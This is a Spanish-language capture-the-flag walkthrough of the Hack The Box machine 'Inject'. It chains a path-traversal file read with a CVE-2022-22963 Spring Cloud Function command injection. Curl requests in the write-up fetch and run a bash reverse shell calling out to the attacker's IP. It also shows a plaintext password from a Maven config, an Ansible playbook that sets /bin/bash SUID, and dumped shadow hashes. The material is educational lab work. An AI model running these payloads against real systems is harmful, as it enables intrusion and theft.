Inject - Hack The Box
❯ ping -c 1 10.10.11.204
PING 10.10.11.204 (10.10.11.204) 56(84) bytes of data.
64 bytes from 10.10.11.204: icmp_seq=1 ttl=63 time=95.1 ms
--- 10.10.11.204 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 95.050/95.050/95.050/0.000 ms
❯ whichSystem.py 10.10.11.204
10.10.11.204 (ttl -> 63): Linux
PortScan
❯ nmap -sCV -p22,8080 10.10.11.204 -oN targeted
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-07 11:41 CST
Nmap scan report for 10.10.11.204
Host is up (0.19s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 caf10c515a596277f0a80c5c7c8ddaf8 (RSA)
| 256 d51c81c97b076b1cc1b429254b52219f (ECDSA)
|_ 256 db1d8ceb9472b0d3ed44b96c93a7f91d (ED25519)
8080/tcp open nagios-nsca Nagios NSCA
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Enumeracion
Solo vemos 2 puertos abiertos así que vamos a enumerar por el puerto 8080 ya que nos contamos con credenciales para enumerar en el puerto 22 que corresponde a SSH
❯ whatweb http://10.10.11.204:8080
http://10.10.11.204:8080 [200 OK] Bootstrap, Content-Language[en-US], Country[RESERVED][ZZ], Frame, HTML5, IP[10.10.11.204], Title[Home], YouTube
Vemos la web y se ve que tiene varias rutas
Si vamos ala parte de register
no funciona
Pero también hay un campo de subida de archivos
Antes de empezar a hacer pruebas con la parte de la subida de archivos lo que podemos hacer es Fuzzing para ver que no nos hemos dejado nada
❯ dirsearch -u http://10.10.11.204:8080
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10903
Output File: /usr/lib/python3/dist-packages/dirsearch/reports/10.10.11.204:8080/_23-07-07_11-50-31.txt
Error Log: /usr/lib/python3/dist-packages/dirsearch/logs/errors-23-07-07_11-50-31.log
Target: http://10.10.11.204:8080/
[11:50:31] Starting:
[11:50:50] 400 - 435B - /\..\..\..\..\..\..\..\..\..\etc\passwd
[11:50:52] 400 - 435B - /a%5c.aspx
[11:51:12] 200 - 5KB - /blogs
[11:51:22] 500 - 106B - /error
[11:51:22] 500 - 106B - /error/
[11:51:42] 200 - 6KB - /register
[11:51:50] 200 - 2KB - /upload
[11:51:51] 200 - 2KB - /upload/
Task Completed
Bueno como tal la ruta blog no tiene nada interesante
Vamos a subir cualquier imagen
Y funciona
Bueno yo como tal tuve que subir otra imagen ya que no se por que la otra me daba error pero le tome una captura de pantalla ala web, si le damos click al link
nos lleva aquí
Local File Inclusion (LFI)
Pues bueno la url
ya es interesante ya que se esta empleando un parámetro img
vamos a probar haciendo un LFI para ver si podemos ver el /etc/passwd
Si de primeras apuntamos al archivo nos da error
A si que vamos a hacer un directory path traversal para ir varios directorios hacia atrás
Para mas cómodo podemos hacerlo desde consola
❯ curl -s -X GET "http://10.10.11.204:8080/show_image?img=../../../../../../etc/passwd" | grep sh
root:x:0:0:root:/root:/bin/bash
frank:x:1000:1000:frank:/home/frank:/bin/bash
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
phil:x:1001:1001::/home/phil:/bin/bash
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
Pues bueno funciona y como tal tenemos el nombre de 2 usuarios frank y phil
Y bueno tenemos capacidad de directory listing y podemos ver lo que hay en el directorio de phil
❯ curl -s -X GET "http://10.10.11.204:8080/show_image?img=../../../../../../home/phil"
.ansible
.bash_history
.bashrc
.cache
.local
.profile
.ssh
.viminfo
user.txt
Si intentamos ver algún archivo no podremos verlo intente con la flag pero nada
Algo que podemos hacer es comenzara enumerar podemos empezar con la ruta var
❯ curl -s -X GET "http://10.10.11.204:8080/show_image?img=../../../../../../var"
backups
cache
crash
lib
local
lock
log
mail
opt
run
spool
tmp
www
^C
❯ curl -s -X GET "http://10.10.11.204:8080/show_image?img=../../../../../../var/www"
html
WebApp
Y bueno ya vemos 2 directorios interesantes html y WebApp vamos a entrar en WebApp
y vemos varios archivos interesantes entre ellos un pom.xml
❯ curl -s -X GET "http://10.10.11.204:8080/show_image?img=../../../../../../var/www/WebApp"
.classpath
.DS_Store
.idea
.project
.settings
HELP.md
mvnw
mvnw.cmd
pom.xml
src
target
Bueno vemos básicamente que se esta usando Java
que es un lenguaje de programación y Spring
❯ curl -s -X GET "http://10.10.11.204:8080/show_image?img=../../../../../../var/www/WebApp/pom.xml"
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.6.5</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>com.example</groupId>
<artifactId>WebApp</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>WebApp</name>
<description>Demo project for Spring Boot</description>
<properties>
<java.version>11</java.version>
</properties>
<dependencies>
<dependency>
<groupId>com.sun.activation</groupId>
<artifactId>javax.activation</artifactId>
<version>1.2.0</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-devtools</artifactId>
<scope>runtime</scope>
<optional>true</optional>
</dependency>
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-function-web</artifactId>
<version>3.2.2</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.webjars</groupId>
<artifactId>bootstrap</artifactId>
<version>5.1.3</version>
</dependency>
<dependency>
<groupId>org.webjars</groupId>
<artifactId>webjars-locator-core</artifactId>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
<version>${parent.version}</version>
</plugin>
</plugins>
<finalName>spring-webapp</finalName>
</build>
</project>
Si seguimos enumerando encontramos que el usuario Frank
ejecuta java
❯ curl -s -X GET "http://10.10.11.204:8080/show_image?img=../../../../../../etc/systemd/system/webapp.service"
[Unit]
Description=Spring WEb APP
After=syslog.target
[Service]
User=frank
Group=frank
ExecStart=/usr/bin/java -Ddebug -jar /var/www/WebApp/target/spring-webapp.jar
Restart=always
StandardOutput=syslog
StandardError=syslog
[Install]
WantedBy=multi-user.target
Shell as frank
Si buscamos por vulnerabilidades para la versión de que encontramos esto https://sysdig.com/blog/cve-2022-22963-spring-cloud/
Ya nos están dando instrucciones de como hacerlo
Lo que vamos a hacer es enviar una petición por el método post
y tenemos que pasarle un argumento con java
y vamos a crear un archivo en el sistema para subir una reverse shell
❯ curl -X POST http://10.10.11.204:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/rev")' --data-raw 'data' -v
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 10.10.11.204:8080...
* Connected to 10.10.11.204 (10.10.11.204) port 8080 (#0)
> POST /functionRouter HTTP/1.1
> Host: 10.10.11.204:8080
> User-Agent: curl/7.88.1
> Accept: */*
> spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/rev")
> Content-Length: 4
> Content-Type: application/x-www-form-urlencoded
>
< HTTP/1.1 500
< Content-Type: application/json
< Transfer-Encoding: chunked
< Date: Fri, 07 Jul 2023 18:43:18 GMT
< Connection: close
<
* Closing connection 0
{"timestamp":"2023-07-07T18:43:18.469+00:00","status":500,"error":"Internal Server Error","message":"EL1001E: Type conversion problem, cannot convert from java.lang.ProcessImpl to java.lang.String","path":"/functionRouter"}
Ahora para asegurarnos que se creo podemos aprovecharnos del LFI
para ver si bajo la ruta tmp
se creo rev
Ignoren los demas archivos o carpetas creadas son de otros usuarios aveces estos problemas pasan por que estamos en la misma region o yo que se
curl -s -X GET "http://10.10.11.204:8080/show_image?img=../../../../../../tmp"
.font-unix
.ICE-unix
.Test-unix
.X11-unix
.XIM-unix
ansible_ansible.legacy.command_payload_j2q466ie
DnPTN
hsperfdata_frank
mazajo_test
mazajo.sh
nNuQH.b64
pspy64
pwned
recond
rev
rev.sh
reverse.sh
systemd-private-146c32063ab54e548fcb1ba34f876d3b-ModemManager.service-Ou3fni
systemd-private-146c32063ab54e548fcb1ba34f876d3b-systemd-logind.service-b71gZf
systemd-private-146c32063ab54e548fcb1ba34f876d3b-systemd-resolved.service-sTUibi
systemd-private-146c32063ab54e548fcb1ba34f876d3b-systemd-timesyncd.service-Hqsmuf
systemd-private-146c32063ab54e548fcb1ba34f876d3b-upower.service-HOXmQg
test.txt
tmp.HifDEiYMkf
tomcat.8080.2420306893279265226
tomcat-docbase.8080.10176803267819659705
vmware-root_740-2999460834
Bueno como se creo ahora vamos a hacer un archivo que contenga la reverse shell en Bash para ganar acceso al sistema pero vamos a ponerle un nombre diferente a todos esos que están hay
❯ nano enviame.sh
❯ catn enviame.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.213/443 0>&1
Ahora vamos a ejecutar un servidor http
con Python3
❯ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
Y nos vamos a poner en escucha
❯ nc -nlvp 443
Listening on 0.0.0.0 443
Ahora vamos a subir el archivo mediante una petición por curl
y lo guardaremos en la carpeta que creamos
❯ curl -X POST http://10.10.11.204:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl 10.10.14.213:8080/enviame.sh -o /tmp/rev")' --data-raw 'data' -v
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 10.10.11.204:8080...
* Connected to 10.10.11.204 (10.10.11.204) port 8080 (#0)
> POST /functionRouter HTTP/1.1
> Host: 10.10.11.204:8080
> User-Agent: curl/7.88.1
> Accept: */*
> spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl 10.10.14.213:8080/enviame.sh -o /tmp/rev")
> Content-Length: 4
> Content-Type: application/x-www-form-urlencoded
>
< HTTP/1.1 500
< Content-Type: application/json
< Transfer-Encoding: chunked
< Date: Fri, 07 Jul 2023 19:06:16 GMT
< Connection: close
<
* Closing connection 0
{"timestamp":"2023-07-07T19:06:16.502+00:00","status":500,"error":"Internal Server Error","message":"EL1001E: Type conversion problem, cannot convert from java.lang.ProcessImpl to java.lang.String","path":"/functionRouter"}
❯ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
10.10.11.204 - - [07/Jul/2023 13:06:23] "GET /enviame.sh HTTP/1.1" 200 -
Ahora vamos a validar que se subió
❯ curl -s -X GET "http://10.10.11.204:8080/show_image?img=../../../../../../tmp/rev"
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.213/443 0>&1
Y bueno ahora ganamos acceso
❯ curl -X POST http://10.10.11.204:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash /tmp/rev")' --data-raw 'data' -v
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 10.10.11.204:8080...
* Connected to 10.10.11.204 (10.10.11.204) port 8080 (#0)
> POST /functionRouter HTTP/1.1
> Host: 10.10.11.204:8080
> User-Agent: curl/7.88.1
> Accept: */*
> spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash /tmp/rev")
> Content-Length: 4
> Content-Type: application/x-www-form-urlencoded
>
< HTTP/1.1 500
< Content-Type: application/json
< Transfer-Encoding: chunked
< Date: Fri, 07 Jul 2023 19:07:53 GMT
< Connection: close
<
* Closing connection 0
{"timestamp":"2023-07-07T19:07:53.249+00:00","status":500,"error":"Internal Server Error","message":"EL1001E: Type conversion problem, cannot convert from java.lang.ProcessImpl to java.lang.String","path":"/functionRouter"}
Y tenemos la reverse Shell
❯ nc -nlvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.204 38528
bash: cannot set terminal process group (815): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.0$ whoami
whoami
frank
bash-5.0$
Ahora hacemos lo siguiente para poder hacer CTRL+C
❯ nc -nlvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.204 38528
bash: cannot set terminal process group (815): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.0$ whoami
whoami
frank
bash-5.0$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
bash-5.0$ ^Z
zsh: suspended nc -nlvp 443
❯ stty raw -echo; fg
[1] + continued nc -nlvp 443
reset xterm
ENTER
bash-5.0$ export TERM=xterm
Pues bueno no vemos la flag
bash-5.0$ ls -la
total 36
drwxr-xr-x 7 frank frank 4096 Jul 7 17:55 .
drwxr-xr-x 4 root root 4096 Feb 1 18:38 ..
drwxr-xr-x 3 frank frank 4096 Jul 7 05:20 .ansible
lrwxrwxrwx 1 root root 9 Jan 24 13:57 .bash_history -> /dev/null
-rw-r--r-- 1 frank frank 3786 Apr 18 2022 .bashrc
drwx------ 2 frank frank 4096 Feb 1 18:38 .cache
drwxr-xr-x 3 frank frank 4096 Feb 1 18:38 .local
drwx------ 2 frank frank 4096 Feb 1 18:38 .m2
-rw-r--r-- 1 frank frank 807 Feb 25 2020 .profile
drwxr-xr-x 2 frank frank 4096 Jul 7 17:57 .ssh
bash-5.0$
Si la buscamos tendremos que convertirnos en el otro usuario
bash-5.0$ find / -name user.txt -type f 2>/dev/null
/home/phil/user.txt
bash-5.0$
Shell as phil
Si nos vamos al directorio de frank
vemos un .m2
bash-5.0$ ls -la
total 36
drwxr-xr-x 7 frank frank 4096 Jul 7 17:55 .
drwxr-xr-x 4 root root 4096 Feb 1 18:38 ..
drwxr-xr-x 3 frank frank 4096 Jul 7 05:20 .ansible
lrwxrwxrwx 1 root root 9 Jan 24 13:57 .bash_history -> /dev/null
-rw-r--r-- 1 frank frank 3786 Apr 18 2022 .bashrc
drwx------ 2 frank frank 4096 Feb 1 18:38 .cache
drwxr-xr-x 3 frank frank 4096 Feb 1 18:38 .local
drwx------ 2 frank frank 4096 Feb 1 18:38 .m2
-rw-r--r-- 1 frank frank 807 Feb 25 2020 .profile
drwxr-xr-x 2 frank frank 4096 Jul 7 17:57 .ssh
Si investigamos que es Chat GPT nos dice lo siguiente
Si entramos vamos un archivo xml
que llama la atención
bash-5.0$ ls -la
total 12
drwx------ 2 frank frank 4096 Feb 1 18:38 .
drwxr-xr-x 7 frank frank 4096 Jul 7 17:55 ..
-rw-r----- 1 root frank 617 Jan 31 16:55 settings.xml
bash-5.0$ pwd
/home/frank/.m2
bash-5.0$
Encontramos las credenciales del usuario phil
bash-5.0$ cat settings.xml
<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<servers>
<server>
<id>Inject</id>
<username>phil</username>
<password>DocPhillovestoInject123</password>
<privateKey>${user.home}/.ssh/id_dsa</privateKey>
<filePermissions>660</filePermissions>
<directoryPermissions>660</directoryPermissions>
<configuration></configuration>
</server>
</servers>
</settings>
bash-5.0$
Las credenciales funcionan
bash-5.0$ su phil
Password:
bash-5.0$ whoami
phil
bash-5.0$
User.txt
Aquí vemos la flag
bash-5.0$ pwd
/home/phil
bash-5.0$ cat user.txt
1451ef89abda3eb1eecd7e4329a90f0f
bash-5.0$
Escalada de privilegios
No vemos nada interesante
bash-5.0$ find \-perm -4000 2>/dev/null
./usr/bin/su
./usr/bin/fusermount
./usr/bin/chfn
./usr/bin/passwd
./usr/bin/at
./usr/bin/gpasswd
./usr/bin/chsh
./usr/bin/umount
./usr/bin/sudo
./usr/bin/newgrp
./usr/bin/mount
./usr/lib/openssh/ssh-keysign
./usr/lib/eject/dmcrypt-get-device
./usr/lib/policykit-1/polkit-agent-helper-1
./usr/lib/dbus-1.0/dbus-daemon-launch-helper
bash-5.0$
bash-5.0$ getcap / -r 2>/dev/null
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
bash-5.0$
Vamos a subir el pspy
para mirar tareas cron
https://github.com/DominicBreuker/pspy/releases
❯ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
10.10.11.204 - - [07/Jul/2023 13:28:36] "GET /pspy64 HTTP/1.1" 200 -
bash-5.0$ cd /dev/shm/
bash-5.0$ pwd
/dev/shm
bash-5.0$ wget http://10.10.14.213:8080/pspy64
--2023-07-07 19:28:29-- http://10.10.14.213:8080/pspy64
Connecting to 10.10.14.213:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: ‘pspy64’
pspy64 100%[===================>] 2.96M 931KB/s in 3.3s
2023-07-07 19:28:32 (931 KB/s) - ‘pspy64’ saved [3104768/3104768]
bash-5.0$ chmod +x pspy64
bash-5.0$
Ahora lo corremos
bash-5.0$ ./pspy64
Bueno vemos que se esta corriendo ansible-parallel
a cualquier archivo .yml
bajo esa ruta
Y bueno también hay vemos que se esta haciendo una copia de un yml
de root
al directorio /opt/automation/tasks/
Y efectivamente hay esta
bash-5.0$ cd /opt/automation/tasks/
bash-5.0$ ls -la
total 24
drwxrwxr-x 2 root staff 4096 Jul 7 19:32 .
drwxr-xr-x 3 root root 4096 Oct 20 2022 ..
-rw-r--r-- 1 root root 150 Jul 7 19:32 playbook_1.yml
-rw-r--r-- 1 phil phil 12288 Jul 7 12:30 .playbook.yml.swp
bash-5.0$
Vamos a crear nuestro propio .yml
bajo esa ruta basándonos en el siguiente ejemplo
bash-5.0$ cat playbook_1.yml
- hosts: localhost
tasks:
- name: Checking webapp service
ansible.builtin.systemd:
name: webapp
enabled: yes
state: started
bash-5.0$
bash-5.0$ cat pe.yml
- hosts: localhost
tasks:
- name: Escalada de privilegios
ansible.builtin.shell:
chmod +s /bin/bash
become: true
bash-5.0$
Ahora vamos a esperar a que se ejecute la tarea para que la bash sea SUID
bash-5.0$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1183448 Apr 18 2022 /bin/bash
bash-5.0$
Shell as root && root.txt
Ahora nos convertimos en root y vemos la flag
bash-5.0$ bash -p
bash-5.0# cd /root
bash-5.0# cat root.txt
d67f223f791dd5a6f46cf0672ed04953
bash-5.0# hostname -I
10.10.11.204 dead:beef::250:56ff:feb9:1fd4
bash-5.0#
bash-5.0# cat /etc/shadow
root:$6$KeHoGfvAPeHOqplu$tC/4gh419crGM6.btFzCazMPFH0gaX.x/Qp.PJZCoizg4wYcl48wtOGA3lwxNjooq9MDzJZJvzav7V37p9aMT1:19381:0:99999:7:::
daemon:*:19046:0:99999:7:::
bin:*:19046:0:99999:7:::
sys:*:19046:0:99999:7:::
sync:*:19046:0:99999:7:::
games:*:19046:0:99999:7:::
man:*:19046:0:99999:7:::
lp:*:19046:0:99999:7:::
mail:*:19046:0:99999:7:::
news:*:19046:0:99999:7:::
uucp:*:19046:0:99999:7:::
proxy:*:19046:0:99999:7:::
www-data:*:19046:0:99999:7:::
backup:*:19046:0:99999:7:::
list:*:19046:0:99999:7:::
irc:*:19046:0:99999:7:::
gnats:*:19046:0:99999:7:::
nobody:*:19046:0:99999:7:::
systemd-network:*:19046:0:99999:7:::
systemd-resolve:*:19046:0:99999:7:::
systemd-timesync:*:19046:0:99999:7:::
messagebus:*:19046:0:99999:7:::
syslog:*:19046:0:99999:7:::
_apt:*:19046:0:99999:7:::
tss:*:19046:0:99999:7:::
uuidd:*:19046:0:99999:7:::
tcpdump:*:19046:0:99999:7:::
landscape:*:19046:0:99999:7:::
pollinate:*:19046:0:99999:7:::
usbmux:*:19090:0:99999:7:::
systemd-coredump:!!:19090::::::
frank:$6$fBwyjkLHtSuUCpHx$6G9LujV0iop.QxbfQpwDcSaRWDDobBlVMo5.6gVJVnQabcbmFwdkwFfmJNAX27u3Cdg9ZO5977pCst7hF98kc/:19381:0:99999:7:::
lxd:!:19090::::::
sshd:*:19260:0:99999:7:::
phil:$6$Z.KhzrHH6PXCuNbO$dL9xyMTydwjYPcrunZb7OO9a0hCwrUPOeQfdum818rW4NPtsiXEji15NMmikgYBGLDbWPUfLIpCpOuCRxYedM.:19388:0:99999:7:::
fwupd-refresh:*:19389:0:99999:7:::
_laurel:!:19389::::::
bash-5.0#